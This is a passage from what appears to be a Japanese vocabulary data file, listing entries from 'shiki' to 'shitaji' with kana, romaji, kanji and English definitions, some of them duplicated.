moist\"\n\t},\n\n\t{\n\t\t'kana':'しっき',\n\t\t'romaji':'shiki',\n\t\t'kanji':'湿気',\n\t\t'definition':\"moisture;humidity;dampness\"\n\t},\n\n\t{\n\t\t'kana':'しき',\n\t\t'romaji':'shiki',\n\t\t'kanji':'式',\n\t\t'definition':\"equation;formula;ceremony\"\n\t},\n\n\t{\n\t\t'kana':'しき',\n\t\t'romaji':'shiki',\n\t\t'kanji':'四季',\n\t\t'definition':\"four seasons\"\n\t},\n\n\t{\n\t\t'kana':'しき',\n\t\t'romaji':'shiki',\n\t\t'kanji':'式',\n\t\t'definition':\"equation;formula;ceremony\"\n\t},\n\n\t{\n\t\t'kana':'しき',\n\t\t'romaji':'shiki',\n\t\t'kanji':'指揮',\n\t\t'definition':\"command;direction\"\n\t},\n\n\t{\n\t\t'kana':'しきち',\n\t\t'romaji':'shikichi',\n\t\t'kanji':'敷地',\n\t\t'definition':\"site\"\n\t},\n\n\t{\n\t\t'kana':'しきじょう',\n\t\t'romaji':'shikijyou',\n\t\t'kanji':'式場',\n\t\t'definition':\"ceremonial hall;place of ceremony (e.g. marriage)\"\n\t},\n\n\t{\n\t\t'kana':'しきん',\n\t\t'romaji':'shikin',\n\t\t'kanji':'資金',\n\t\t'definition':\"funds;capital\"\n\t},\n\n\t{\n\t\t'kana':'しきりに',\n\t\t'romaji':'shikirini',\n\t\t'kanji':'頻りに',\n\t\t'definition':\"frequently;repeatedly;incessantly;eagerly\"\n\t},\n\n\t{\n\t\t'kana':'しきる',\n\t\t'romaji':'shikiru',\n\t\t'kanji':'仕切る',\n\t\t'definition':\"to partition;to divide;to mark off;to settle accounts;to toe the mark\"\n\t},\n\n\t{\n\t\t'kana':'しきさい',\n\t\t'romaji':'shikisai',\n\t\t'kanji':'色彩',\n\t\t'definition':\"colour;hue;tints\"\n\t},\n\n\t{\n\t\t'kana':'しきたり',\n\t\t'romaji':'shikitari',\n\t\t'kanji':'為来り',\n\t\t'definition':\"customs\"\n\t},\n\n\t{\n\t\t'kana':'しっかく',\n\t\t'romaji':'shikkaku',\n\t\t'kanji':'失格',\n\t\t'definition':\"disqualification;elimination;incapacity (legal)\"\n\t},\n\n\t{\n\t\t'kana':'しっかり',\n\t\t'romaji':'shikkari',\n\t\t'kanji':'確り',\n\t\t'definition':\"firmly;tightly;reliable;level-headed;steady\"\n\t},\n\n\t{\n\t\t'kana':'しこう',\n\t\t'romaji':'shikou',\n\t\t'kanji':'嗜好',\n\t\t'definition':\"taste;liking;preference\"\n\t},\n\n\t{\n\t\t'kana':'しこう',\n\t\t'romaji':'shikou',\n\t\t'kanji':'志向',\n\t\t'definition':\"intention;aim\"\n\t},\n\n\t{\n\t\t'kana':'しこう',\n\t\t'romaji':'shikou',\n\t\t'kanji':'思考',\n\t\t'definition':\"thought\"\n\t},\n\n\t{\n\t\t'kana':'シック',\n\t\t'romaji':'shiku',\n\t\t'kanji':'',\n\t\t'definition':\"chic\"\n\t},\n\n\t{\n\t\t'kana':'しく',\n\t\t'romaji':'shiku',\n\t\t'kanji':'敷く',\n\t\t'definition':\"to spread out;to lay out\"\n\t},\n\n\t{\n\t\t'kana':'しくじる',\n\t\t'romaji':'shikujiru',\n\t\t'kanji':'',\n\t\t'definition':\"to fail;to fall through;to blunder\"\n\t},\n\n\t{\n\t\t'kana':'しくみ',\n\t\t'romaji':'shikumi',\n\t\t'kanji':'仕組み',\n\t\t'definition':\"devising;plan;plot;contrivance;construction;arrangement\"\n\t},\n\n\t{\n\t\t'kana':'しっきゃく',\n\t\t'romaji':'shikyaku',\n\t\t'kanji':'失脚',\n\t\t'definition':\"losing one's standing;being overthrown;falling\"\n\t},\n\n\t{\n\t\t'kana':'しきゅう',\n\t\t'romaji':'shikyuu',\n\t\t'kanji':'至急',\n\t\t'definition':\"urgent;pressing\"\n\t},\n\n\t{\n\t\t'kana':'しきゅう',\n\t\t'romaji':'shikyuu',\n\t\t'kanji':'支給',\n\t\t'definition':\"payment;allowance\"\n\t},\n\n\t{\n\t\t'kana':'しま',\n\t\t'romaji':'shima',\n\t\t'kanji':'島',\n\t\t'definition':\"island\"\n\t},\n\n\t{\n\t\t'kana':'しま',\n\t\t'romaji':'shima',\n\t\t'kanji':'縞',\n\t\t'definition':\"stripe\"\n\t},\n\n\t{\n\t\t'kana':'しま',\n\t\t'romaji':'shima',\n\t\t'kanji':'島',\n\t\t'definition':\"island\"\n\t},\n\n\t{\n\t\t'kana':'しまい',\n\t\t'romaji':'shimai',\n\t\t'kanji':'仕舞',\n\t\t'definition':\"end;termination;informal (Noh play)\"\n\t},\n\n\t{\n\t\t'kana':'しまる',\n\t\t'romaji':'shimaru',\n\t\t'kanji':'閉まる',\n\t\t'definition':\"to close;to be closed\"\n\t},\n\n\t{\n\t\t'kana':'しまった',\n\t\t'romaji':'shimata',\n\t\t'kanji':'',\n\t\t'definition':\"Damn it!\"\n\t},\n\n\t{\n\t\t'kana':'しまつ',\n\t\t'romaji':'shimatsu',\n\t\t'kanji':'始末',\n\t\t'definition':\"management;dealing;settlement;cleaning up afterwards\"\n\t},\n\n\t{\n\t\t'kana':'しまう',\n\t\t'romaji':'shimau',\n\t\t'kanji':'仕舞う',\n\t\t'definition':\"to finish;to close;to do something completely;to put away;to put an end to\"\n\t},\n\n\t{\n\t\t'kana':'しめい',\n\t\t'romaji':'shimei',\n\t\t'kanji':'氏名',\n\t\t'definition':\"full name;identity\"\n\t},\n\n\t{\n\t\t'kana':'しめい',\n\t\t'romaji':'shimei',\n\t\t'kanji':'使命',\n\t\t'definition':\"mission;errand;message\"\n\t},\n\n\t{\n\t\t'kana':'しめきり',\n\t\t'romaji':'shimekiri',\n\t\t'kanji':'締め切り',\n\t\t'definition':\"closing;cut-off;end;deadline;Closed;No Entrance\"\n\t},\n\n\t{\n\t\t'kana':'しめきる',\n\t\t'romaji':'shimekiru',\n\t\t'kanji':'締め切る',\n\t\t'definition':\"to shut up\"\n\t},\n\n\t{\n\t\t'kana':'しめる',\n\t\t'romaji':'shimeru',\n\t\t'kanji':'締める',\n\t\t'definition':\"to tie;to fasten\"\n\t},\n\n\t{\n\t\t'kana':'しめる',\n\t\t'romaji':'shimeru',\n\t\t'kanji':'閉める',\n\t\t'definition':\"to close;to shut\"\n\t},\n\n\t{\n\t\t'kana':'しめる',\n\t\t'romaji':'shimeru',\n\t\t'kanji':'湿る',\n\t\t'definition':\"to be wet;to become wet;to be damp\"\n\t},\n\n\t{\n\t\t'kana':'しめる',\n\t\t'romaji':'shimeru',\n\t\t'kanji':'占める',\n\t\t'definition':\"to comprise;to hold;to occupy\"\n\t},\n\n\t{\n\t\t'kana':'しめす',\n\t\t'romaji':'shimesu',\n\t\t'kanji':'示す',\n\t\t'definition':\"to denote;to show;to point out;to indicate\"\n\t},\n\n\t{\n\t\t'kana':'しめた',\n\t\t'romaji':'shimeta',\n\t\t'kanji':'占めた',\n\t\t'definition':\"I've got it;all right;fine\"\n\t},\n\n\t{\n\t\t'kana':'しみじみ',\n\t\t'romaji':'shimijimi',\n\t\t'kanji':'泌み泌み',\n\t\t'definition':\"keenly;deeply;heartily\"\n\t},\n\n\t{\n\t\t'kana':'しみん',\n\t\t'romaji':'shimin',\n\t\t'kanji':'市民',\n\t\t'definition':\"citizen;townspeople\"\n\t},\n\n\t{\n\t\t'kana':'しみる',\n\t\t'romaji':'shimiru',\n\t\t'kanji':'染みる',\n\t\t'definition':\"to pierce;to permeate\"\n\t},\n\n\t{\n\t\t'kana':'しみる',\n\t\t'romaji':'shimiru',\n\t\t'kanji':'染みる',\n\t\t'definition':\"to pierce;to permeate\"\n\t},\n\n\t{\n\t\t'kana':'しも',\n\t\t'romaji':'shimo',\n\t\t'kanji':'霜',\n\t\t'definition':\"frost\"\n\t},\n\n\t{\n\t\t'kana':'しもべ',\n\t\t'romaji':'shimobe',\n\t\t'kanji':'僕',\n\t\t'definition':\"manservant;servant (of God)\"\n\t},\n\n\t{\n\t\t'kana':'しん',\n\t\t'romaji':'shin',\n\t\t'kanji':'新',\n\t\t'definition':\"new\"\n\t},\n\n\t{\n\t\t'kana':'しん',\n\t\t'romaji':'shin',\n\t\t'kanji':'芯',\n\t\t'definition':\"core;heart;wick;marrow\"\n\t},\n\n\t{\n\t\t'kana':'しな',\n\t\t'romaji':'shina',\n\t\t'kanji':'品',\n\t\t'definition':\"thing;article;goods;dignity;article (goods);counter for meal courses\"\n\t},\n\n\t{\n\t\t'kana':'しな',\n\t\t'romaji':'shina',\n\t\t'kanji':'品',\n\t\t'definition':\"thing;article;goods;dignity;article (goods);counter for meal courses\"\n\t},\n\n\t{\n\t\t'kana':'しなびる',\n\t\t'romaji':'shinabiru',\n\t\t'kanji':'萎びる',\n\t\t'definition':\"to wilt;to fade\"\n\t},\n\n\t{\n\t\t'kana':'しなもの',\n\t\t'romaji':'shinamono',\n\t\t'kanji':'品物',\n\t\t'definition':\"goods;article;thing\"\n\t},\n\n\t{\n\t\t'kana':'シナリオ',\n\t\t'romaji':'shinario',\n\t\t'kanji':'',\n\t\t'definition':\"scenario\"\n\t},\n\n\t{\n\t\t'kana':'しなやか',\n\t\t'romaji':'shinayaka',\n\t\t'kanji':'嫋か',\n\t\t'definition':\"supple;flexible;elastic\"\n\t},\n\n\t{\n\t\t'kana':'しんばん',\n\t\t'romaji':'shinban',\n\t\t'kanji':'審判',\n\t\t'definition':\"refereeing;trial;judgement;umpire;referee\"\n\t},\n\n\t{\n\t\t'kana':'しんぼう',\n\t\t'romaji':'shinbou',\n\t\t'kanji':'辛抱',\n\t\t'definition':\"patience;endurance\"\n\t},\n\n\t{\n\t\t'kana':'しんぶん',\n\t\t'romaji':'shinbun',\n\t\t'kanji':'新聞',\n\t\t'definition':\"newspaper\"\n\t},\n\n\t{\n\t\t'kana':'しんちく',\n\t\t'romaji':'shinchiku',\n\t\t'kanji':'新築',\n\t\t'definition':\"new building;new construction\"\n\t},\n\n\t{\n\t\t'kana':'しんちょう',\n\t\t'romaji':'shinchou',\n\t\t'kanji':'身長',\n\t\t'definition':\"height (of body);stature\"\n\t},\n\n\t{\n\t\t'kana':'しんちょう',\n\t\t'romaji':'shinchou',\n\t\t'kanji':'慎重',\n\t\t'definition':\"discretion;prudence\"\n\t},\n\n\t{\n\t\t'kana':'しんだい',\n\t\t'romaji':'shindai',\n\t\t'kanji':'寝台',\n\t\t'definition':\"bed;couch\"\n\t},\n\n\t{\n\t\t'kana':'しんだん',\n\t\t'romaji':'shindan',\n\t\t'kanji':'診断',\n\t\t'definition':\"diagnosis\"\n\t},\n\n\t{\n\t\t'kana':'しんでん',\n\t\t'romaji':'shinden',\n\t\t'kanji':'神殿',\n\t\t'definition':\"temple;sacred place\"\n\t},\n\n\t{\n\t\t'kana':'しんど',\n\t\t'romaji':'shindo',\n\t\t'kanji':'進度',\n\t\t'definition':\"progress\"\n\t},\n\n\t{\n\t\t'kana':'しんどう',\n\t\t'romaji':'shindou',\n\t\t'kanji':'振動',\n\t\t'definition':\"oscillation;vibration\"\n\t},\n\n\t{\n\t\t'kana':'しんがく',\n\t\t'romaji':'shingaku',\n\t\t'kanji':'進学',\n\t\t'definition':\"going on to university\"\n\t},\n\n\t{\n\t\t'kana':'しんがり',\n\t\t'romaji':'shingari',\n\t\t'kanji':'殿',\n\t\t'definition':\"rear;rear unit guard\"\n\t},\n\n\t{\n\t\t'kana':'しんぎ',\n\t\t'romaji':'shingi',\n\t\t'kanji':'審議',\n\t\t'definition':\"deliberation\"\n\t},\n\n\t{\n\t\t'kana':'しんごう',\n\t\t'romaji':'shingou',\n\t\t'kanji':'信号',\n\t\t'definition':\"traffic lights;signal;semaphore\"\n\t},\n\n\t{\n\t\t'kana':'しんじん',\n\t\t'romaji':'shinjin',\n\t\t'kanji':'新人',\n\t\t'definition':\"new face;newcomer\"\n\t},\n\n\t{\n\t\t'kana':'しんじる',\n\t\t'romaji':'shinjiru',\n\t\t'kanji':'信じる',\n\t\t'definition':\"to believe;to believe in;to place trust in;to confide in;to have faith in\"\n\t},\n\n\t{\n\t\t'kana':'しんじゃ',\n\t\t'romaji':'shinjya',\n\t\t'kanji':'信者',\n\t\t'definition':\"believer;adherent;devotee;Christian\"\n\t},\n\n\t{\n\t\t'kana':'しんじょう',\n\t\t'romaji':'shinjyou',\n\t\t'kanji':'心情',\n\t\t'definition':\"mentality\"\n\t},\n\n\t{\n\t\t'kana':'しんじゅ',\n\t\t'romaji':'shinjyu',\n\t\t'kanji':'真珠',\n\t\t'definition':\"pearl\"\n\t},\n\n\t{\n\t\t'kana':'しんじゅう',\n\t\t'romaji':'shinjyuu',\n\t\t'kanji':'心中',\n\t\t'definition':\"double suicide;lovers suicide\"\n\t},\n\n\t{\n\t\t'kana':'しんか',\n\t\t'romaji':'shinka',\n\t\t'kanji':'進化',\n\t\t'definition':\"evolution;progress\"\n\t},\n\n\t{\n\t\t'kana':'しんかんせん',\n\t\t'romaji':'shinkansen',\n\t\t'kanji':'新幹線',\n\t\t'definition':\"bullet train (very high speed);shinkansen\"\n\t},\n\n\t{\n\t\t'kana':'しんけい',\n\t\t'romaji':'shinkei',\n\t\t'kanji':'神経',\n\t\t'definition':\"nerve;sensitivity\"\n\t},\n\n\t{\n\t\t'kana':'しんけん',\n\t\t'romaji':'shinken',\n\t\t'kanji':'真剣',\n\t\t'definition':\"seriousness;earnestness\"\n\t},\n\n\t{\n\t\t'kana':'しんこく',\n\t\t'romaji':'shinkoku',\n\t\t'kanji':'深刻',\n\t\t'definition':\"serious\"\n\t},\n\n\t{\n\t\t'kana':'しんこく',\n\t\t'romaji':'shinkoku',\n\t\t'kanji':'申告',\n\t\t'definition':\"report;statement;filing a return;notification\"\n\t},\n\n\t{\n\t\t'kana':'しんこん',\n\t\t'romaji':'shinkon',\n\t\t'kanji':'新婚',\n\t\t'definition':\"newly-wed\"\n\t},\n\n\t{\n\t\t'kana':'しんこう',\n\t\t'romaji':'shinkou',\n\t\t'kanji':'信仰',\n\t\t'definition':\"(religious) faith;belief;creed\"\n\t},\n\n\t{\n\t\t'kana':'しんこう',\n\t\t'romaji':'shinkou',\n\t\t'kanji':'振興',\n\t\t'definition':\"promotion;encouragement\"\n\t},\n\n\t{\n\t\t'kana':'しんこう',\n\t\t'romaji':'shinkou',\n\t\t'kanji':'新興',\n\t\t'definition':\"rising;developing;emergent\"\n\t},\n\n\t{\n\t\t'kana':'しんこう',\n\t\t'romaji':'shinkou',\n\t\t'kanji':'進行',\n\t\t'definition':\"advance\"\n\t},\n\n\t{\n\t\t'kana':'しんくう',\n\t\t'romaji':'shinkuu',\n\t\t'kanji':'真空',\n\t\t'definition':\"vacuum;hollow;empty\"\n\t},\n\n\t{\n\t\t'kana':'しんめんもく',\n\t\t'romaji':'shinmenmoku',\n\t\t'kanji':'真面目',\n\t\t'definition':\"one's true character;oneself;seriousness;earnestness\"\n\t},\n\n\t{\n\t\t'kana':'しんにん',\n\t\t'romaji':'shinnin',\n\t\t'kanji':'信任',\n\t\t'definition':\"trust;confidence;credence\"\n\t},\n\n\t{\n\t\t'kana':'しんにゅう',\n\t\t'romaji':'shinnyuu',\n\t\t'kanji':'侵入',\n\t\t'definition':\"penetration;invasion;raid;aggression;trespass\"\n\t},\n\n\t{\n\t\t'kana':'しんにゅうせい',\n\t\t'romaji':'shinnyuusei',\n\t\t'kanji':'新入生',\n\t\t'definition':\"freshman;first-year student\"\n\t},\n\n\t{\n\t\t'kana':'しのぐ',\n\t\t'romaji':'shinogu',\n\t\t'kanji':'凌ぐ',\n\t\t'definition':\"to outdo;to surpass;to endure;to keep out (rain);to stave off;to tide over;to pull through;to defy;to slight;to excel;to eclipse\"\n\t},\n\n\t{\n\t\t'kana':'しんぱい',\n\t\t'romaji':'shinpai',\n\t\t'kanji':'心配',\n\t\t'definition':\"worry;concern;anxiety;care\"\n\t},\n\n\t{\n\t\t'kana':'しんぴ',\n\t\t'romaji':'shinpi',\n\t\t'kanji':'神秘',\n\t\t'definition':\"mystery\"\n\t},\n\n\t{\n\t\t'kana':'しんぽ',\n\t\t'romaji':'shinpo',\n\t\t'kanji':'進歩',\n\t\t'definition':\"progress;development\"\n\t},\n\n\t{\n\t\t'kana':'しんらい',\n\t\t'romaji':'shinrai',\n\t\t'kanji':'信頼',\n\t\t'definition':\"reliance;trust;confidence\"\n\t},\n\n\t{\n\t\t'kana':'しんり',\n\t\t'romaji':'shinri',\n\t\t'kanji':'心理',\n\t\t'definition':\"mentality\"\n\t},\n\n\t{\n\t\t'kana':'しんり',\n\t\t'romaji':'shinri',\n\t\t'kanji':'真理',\n\t\t'definition':\"truth\"\n\t},\n\n\t{\n\t\t'kana':'しんりん',\n\t\t'romaji':'shinrin',\n\t\t'kanji':'森林',\n\t\t'definition':\"forest;woods\"\n\t},\n\n\t{\n\t\t'kana':'しんろ',\n\t\t'romaji':'shinro',\n\t\t'kanji':'進路',\n\t\t'definition':\"course;route\"\n\t},\n\n\t{\n\t\t'kana':'しんるい',\n\t\t'romaji':'shinrui',\n\t\t'kanji':'親類',\n\t\t'definition':\"relation;kin\"\n\t},\n\n\t{\n\t\t'kana':'しんりゃく',\n\t\t'romaji':'shinryaku',\n\t\t'kanji':'侵略',\n\t\t'definition':\"aggression;invasion;raid\"\n\t},\n\n\t{\n\t\t'kana':'しんりょう',\n\t\t'romaji':'shinryou',\n\t\t'kanji':'診療',\n\t\t'definition':\"medical examination and treatment;diagnosis\"\n\t},\n\n\t{\n\t\t'kana':'しんさ',\n\t\t'romaji':'shinsa',\n\t\t'kanji':'審査',\n\t\t'definition':\"judging;inspection;examination;investigation\"\n\t},\n\n\t{\n\t\t'kana':'しんさつ',\n\t\t'romaji':'shinsatsu',\n\t\t'kanji':'診察',\n\t\t'definition':\"medical examination\"\n\t},\n\n\t{\n\t\t'kana':'しんせい',\n\t\t'romaji':'shinsei',\n\t\t'kanji':'神聖',\n\t\t'definition':\"holiness;sacredness;dignity\"\n\t},\n\n\t{\n\t\t'kana':'しんせい',\n\t\t'romaji':'shinsei',\n\t\t'kanji':'申請',\n\t\t'definition':\"application;request;petition\"\n\t},\n\n\t{\n\t\t'kana':'しんせき',\n\t\t'romaji':'shinseki',\n\t\t'kanji':'親戚',\n\t\t'definition':\"relative\"\n\t},\n\n\t{\n\t\t'kana':'しんせん',\n\t\t'romaji':'shinsen',\n\t\t'kanji':'新鮮',\n\t\t'definition':\"fresh\"\n\t},\n\n\t{\n\t\t'kana':'しんせつ',\n\t\t'romaji':'shinsetsu',\n\t\t'kanji':'親切',\n\t\t'definition':\"kindness;gentleness\"\n\t},\n\n\t{\n\t\t'kana':'しんし',\n\t\t'romaji':'shinshi',\n\t\t'kanji':'紳士',\n\t\t'definition':\"gentleman\"\n\t},\n\n\t{\n\t\t'kana':'しんしん',\n\t\t'romaji':'shinshin',\n\t\t'kanji':'心身',\n\t\t'definition':\"mind and body\"\n\t},\n\n\t{\n\t\t'kana':'しんしゅつ',\n\t\t'romaji':'shinshutsu',\n\t\t'kanji':'進出',\n\t\t'definition':\"advance;step forward\"\n\t},\n\n\t{\n\t\t'kana':'しんそう',\n\t\t'romaji':'shinsou',\n\t\t'kanji':'真相',\n\t\t'definition':\"truth;real situation\"\n\t},\n\n\t{\n\t\t'kana':'しんてい',\n\t\t'romaji':'shintei',\n\t\t'kanji':'進呈',\n\t\t'definition':\"presentation\"\n\t},\n\n\t{\n\t\t'kana':'しんてん',\n\t\t'romaji':'shinten',\n\t\t'kanji':'進展',\n\t\t'definition':\"progress;development\"\n\t},\n\n\t{\n\t\t'kana':'しぬ',\n\t\t'romaji':'shinu',\n\t\t'kanji':'死ぬ',\n\t\t'definition':\"to die\"\n\t},\n\n\t{\n\t\t'kana':'しんわ',\n\t\t'romaji':'shinwa',\n\t\t'kanji':'神話',\n\t\t'definition':\"myth;legend\"\n\t},\n\n\t{\n\t\t'kana':'しんや',\n\t\t'romaji':'shinya',\n\t\t'kanji':'深夜',\n\t\t'definition':\"late at night\"\n\t},\n\n\t{\n\t\t'kana':'しんよう',\n\t\t'romaji':'shinyou',\n\t\t'kanji':'信用',\n\t\t'definition':\"confidence;dependence;credit;faith;reliance;belief;credence\"\n\t},\n\n\t{\n\t\t'kana':'しにょう',\n\t\t'romaji':'shinyou',\n\t\t'kanji':'屎尿',\n\t\t'definition':\"excreta;raw sewage;human waste;night soil\"\n\t},\n\n\t{\n\t\t'kana':'しんゆう',\n\t\t'romaji':'shinyuu',\n\t\t'kanji':'親友',\n\t\t'definition':\"close friend;bosom (old intimate) friend;buddy;crony;chum\"\n\t},\n\n\t{\n\t\t'kana':'しんぜん',\n\t\t'romaji':'shinzen',\n\t\t'kanji':'親善',\n\t\t'definition':\"friendship\"\n\t},\n\n\t{\n\t\t'kana':'しんぞう',\n\t\t'romaji':'shinzou',\n\t\t'kanji':'心臓',\n\t\t'definition':\"heart\"\n\t},\n\n\t{\n\t\t'kana':'しんずる',\n\t\t'romaji':'shinzuru',\n\t\t'kanji':'信ずる',\n\t\t'definition':\"to believe;to believe in;to place trust in;to confide in;to have faith in\"\n\t},\n\n\t{\n\t\t'kana':'しおからい',\n\t\t'romaji':'shiokarai',\n\t\t'kanji':'塩辛い',\n\t\t'definition':\"salty (taste)\"\n\t},\n\n\t{\n\t\t'kana':'しっぽ',\n\t\t'romaji':'shipo',\n\t\t'kanji':'尻尾',\n\t\t'definition':\"tail (animal)\"\n\t},\n\n\t{\n\t\t'kana':'しっぱい',\n\t\t'romaji':'shippai',\n\t\t'kanji':'失敗',\n\t\t'definition':\"failure;mistake;blunder\"\n\t},\n\n\t{\n\t\t'kana':'しっぴつ',\n\t\t'romaji':'shippitsu',\n\t\t'kanji':'執筆',\n\t\t'definition':\"writing\"\n\t},\n\n\t{\n\t\t'kana':'しらべ',\n\t\t'romaji':'shirabe',\n\t\t'kanji':'調べ',\n\t\t'definition':\"preparation;investigation;inspection\"\n\t},\n\n\t{\n\t\t'kana':'しらべる',\n\t\t'romaji':'shiraberu',\n\t\t'kanji':'調べる',\n\t\t'definition':\"to investigate;to check up\"\n\t},\n\n\t{\n\t\t'kana':'しらが',\n\t\t'romaji':'shiraga',\n\t\t'kanji':'白髪',\n\t\t'definition':\"white or grey hair;trendy hair bleaching\"\n\t},\n\n\t{\n\t\t'kana':'しらせ',\n\t\t'romaji':'shirase',\n\t\t'kanji':'知らせ',\n\t\t'definition':\"notice\"\n\t},\n\n\t{\n\t\t'kana':'しらせる',\n\t\t'romaji':'shiraseru',\n\t\t'kanji':'知らせる',\n\t\t'definition':\"to notify;to advise\"\n\t},\n\n\t{\n\t\t'kana':'しれい',\n\t\t'romaji':'shirei',\n\t\t'kanji':'指令',\n\t\t'definition':\"orders;instructions;directive\"\n\t},\n\n\t{\n\t\t'kana':'しり',\n\t\t'romaji':'shiri',\n\t\t'kanji':'尻',\n\t\t'definition':\"buttocks;bottom\"\n\t},\n\n\t{\n\t\t'kana':'しりあい',\n\t\t'romaji':'shiriai',\n\t\t'kanji':'知り合い',\n\t\t'definition':\"acquaintance\"\n\t},\n\n\t{\n\t\t'kana':'しりつ',\n\t\t'romaji':'shiritsu',\n\t\t'kanji':'私立',\n\t\t'definition':\"private (establishment)\"\n\t},\n\n\t{\n\t\t'kana':'しりぞける',\n\t\t'romaji':'shirizokeru',\n\t\t'kanji':'退ける',\n\t\t'definition':\"to repel;to drive away\"\n\t},\n\n\t{\n\t\t'kana':'しりぞく',\n\t\t'romaji':'shirizoku',\n\t\t'kanji':'退く',\n\t\t'definition':\"to retreat;to recede;to withdraw\"\n\t},\n\n\t{\n\t\t'kana':'シリーズ',\n\t\t'romaji':'shiri-zu',\n\t\t'kanji':'',\n\t\t'definition':\"series\"\n\t},\n\n\t{\n\t\t'kana':'しろ',\n\t\t'romaji':'shiro',\n\t\t'kanji':'代',\n\t\t'definition':\"price;materials;substitution\"\n\t},\n\n\t{\n\t\t'kana':'しろ',\n\t\t'romaji':'shiro',\n\t\t'kanji':'城',\n\t\t'definition':\"castle\"\n\t},\n\n\t{\n\t\t'kana':'しろ',\n\t\t'romaji':'shiro',\n\t\t'kanji':'白',\n\t\t'definition':\"white\"\n\t},\n\n\t{\n\t\t'kana':'しろい',\n\t\t'romaji':'shiroi',\n\t\t'kanji':'白い',\n\t\t'definition':\"white\"\n\t},\n\n\t{\n\t\t'kana':'しろうと',\n\t\t'romaji':'shirouto',\n\t\t'kanji':'素人',\n\t\t'definition':\"amateur;novice\"\n\t},\n\n\t{\n\t\t'kana':'しる',\n\t\t'romaji':'shiru',\n\t\t'kanji':'知る',\n\t\t'definition':\"to know;to understand;to be acquainted with;to feel\"\n\t},\n\n\t{\n\t\t'kana':'しる',\n\t\t'romaji':'shiru',\n\t\t'kanji':'汁',\n\t\t'definition':\"juice;sap;soup;broth\"\n\t},\n\n\t{\n\t\t'kana':'しるす',\n\t\t'romaji':'shirusu',\n\t\t'kanji':'記す',\n\t\t'definition':\"to note;to write down\"\n\t},\n\n\t{\n\t\t'kana':'しりょう',\n\t\t'romaji':'shiryou',\n\t\t'kanji':'資料',\n\t\t'definition':\"materials;data\"\n\t},\n\n\t{\n\t\t'kana':'しさん',\n\t\t'romaji':'shisan',\n\t\t'kanji':'資産',\n\t\t'definition':\"property;fortune;means;assets\"\n\t},\n\n\t{\n\t\t'kana':'しさつ',\n\t\t'romaji':'shisatsu',\n\t\t'kanji':'視察',\n\t\t'definition':\"inspection;observation\"\n\t},\n\n\t{\n\t\t'kana':'しせい',\n\t\t'romaji':'shisei',\n\t\t'kanji':'姿勢',\n\t\t'definition':\"attitude;posture\"\n\t},\n\n\t{\n\t\t'kana':'しせつ',\n\t\t'romaji':'shisetsu',\n\t\t'kanji':'施設',\n\t\t'definition':\"institution;establishment;facility;(army) engineer\"\n\t},\n\n\t{\n\t\t'kana':'ししゃごにゅう',\n\t\t'romaji':'shishagonyuu',\n\t\t'kanji':'四捨五入',\n\t\t'definition':\"rounding up (fractions)\"\n\t},\n\n\t{\n\t\t'kana':'ししゅつ',\n\t\t'romaji':'shishutsu',\n\t\t'kanji':'支出',\n\t\t'definition':\"expenditure;expenses\"\n\t},\n\n\t{\n\t\t'kana':'ししゅう',\n\t\t'romaji':'shishuu',\n\t\t'kanji':'刺繍',\n\t\t'definition':\"embroidery\"\n\t},\n\n\t{\n\t\t'kana':'しっそ',\n\t\t'romaji':'shiso',\n\t\t'kanji':'質素',\n\t\t'definition':\"simplicity;modesty;frugality\"\n\t},\n\n\t{\n\t\t'kana':'しそく',\n\t\t'romaji':'shisoku',\n\t\t'kanji':'子息',\n\t\t'definition':\"son\"\n\t},\n\n\t{\n\t\t'kana':'しそん',\n\t\t'romaji':'shison',\n\t\t'kanji':'子孫',\n\t\t'definition':\"descendants;posterity;offspring\"\n\t},\n\n\t{\n\t\t'kana':'しそう',\n\t\t'romaji':'shisou',\n\t\t'kanji':'思想',\n\t\t'definition':\"thought;idea\"\n\t},\n\n\t{\n\t\t'kana':'システム',\n\t\t'romaji':'shisutemu',\n\t\t'kanji':'',\n\t\t'definition':\"system\"\n\t},\n\n\t{\n\t\t'kana':'した',\n\t\t'romaji':'shita',\n\t\t'kanji':'下',\n\t\t'definition':\"under;below;beneath\"\n\t},\n\n\t{\n\t\t'kana':'した',\n\t\t'romaji':'shita',\n\t\t'kanji':'下',\n\t\t'definition':\"under;below;beneath\"\n\t},\n\n\t{\n\t\t'kana':'した',\n\t\t'romaji':'shita',\n\t\t'kanji':'下',\n\t\t'definition':\"under;below;beneath\"\n\t},\n\n\t{\n\t\t'kana':'した',\n\t\t'romaji':'shita',\n\t\t'kanji':'舌',\n\t\t'definition':\"tongue\"\n\t},\n\n\t{\n\t\t'kana':'した',\n\t\t'romaji':'shita',\n\t\t'kanji':'下',\n\t\t'definition':\"under;below;beneath\"\n\t},\n\n\t{\n\t\t'kana':'した',\n\t\t'romaji':'shita',\n\t\t'kanji':'下',\n\t\t'definition':\"under;below;beneath\"\n\t},\n\n\t{\n\t\t'kana':'したび',\n\t\t'romaji':'shitabi',\n\t\t'kanji':'下火',\n\t\t'definition':\"burning low;waning;declining\"\n\t},\n\n\t{\n\t\t'kana':'したどり',\n\t\t'romaji':'shitadori',\n\t\t'kanji':'下取り',\n\t\t'definition':\"trade in;part exchange\"\n\t},\n\n\t{\n\t\t'kana':'したがき',\n\t\t'romaji':'shitagaki',\n\t\t'kanji':'下書き',\n\t\t'definition':\"rough copy;draft\"\n\t},\n\n\t{\n\t\t'kana':'したがって',\n\t\t'romaji':'shitagate',\n\t\t'kanji':'従って',\n\t\t'definition':\"therefore;consequently;in accordance with\"\n\t},\n\n\t{\n\t\t'kana':'したがう',\n\t\t'romaji':'shitagau',\n\t\t'kanji':'従う',\n\t\t'definition':\"to abide (by the rules);to obey;to follow;to accompany\"\n\t},\n\n\t{\n\t\t'kana':'したぎ',\n\t\t'romaji':'shitagi',\n\t\t'kanji':'下着',\n\t\t'definition':\"underwear\"\n\t},\n\n\t{\n\t\t'kana':'したごころ',\n\t\t'romaji':'shitagokoro',\n\t\t'kanji':'下心',\n\t\t'definition':\"secret intention;motive\"\n\t},\n\n\t{\n\t\t'kana':'したい',\n\t\t'romaji':'shitai',\n\t\t'kanji':'死体',\n\t\t'definition':\"corpse\"\n\t},\n\n\t{\n\t\t'kana':'したじ',\n\t\t'romaji':'shitaji',\n\t\t'kanji':'下地',\n\t\t'definition':\"groundwork;foundation;inclination;aptitude;elementary knowledge of;grounding in;prearrangement;spadework;signs;symptoms;first coat of 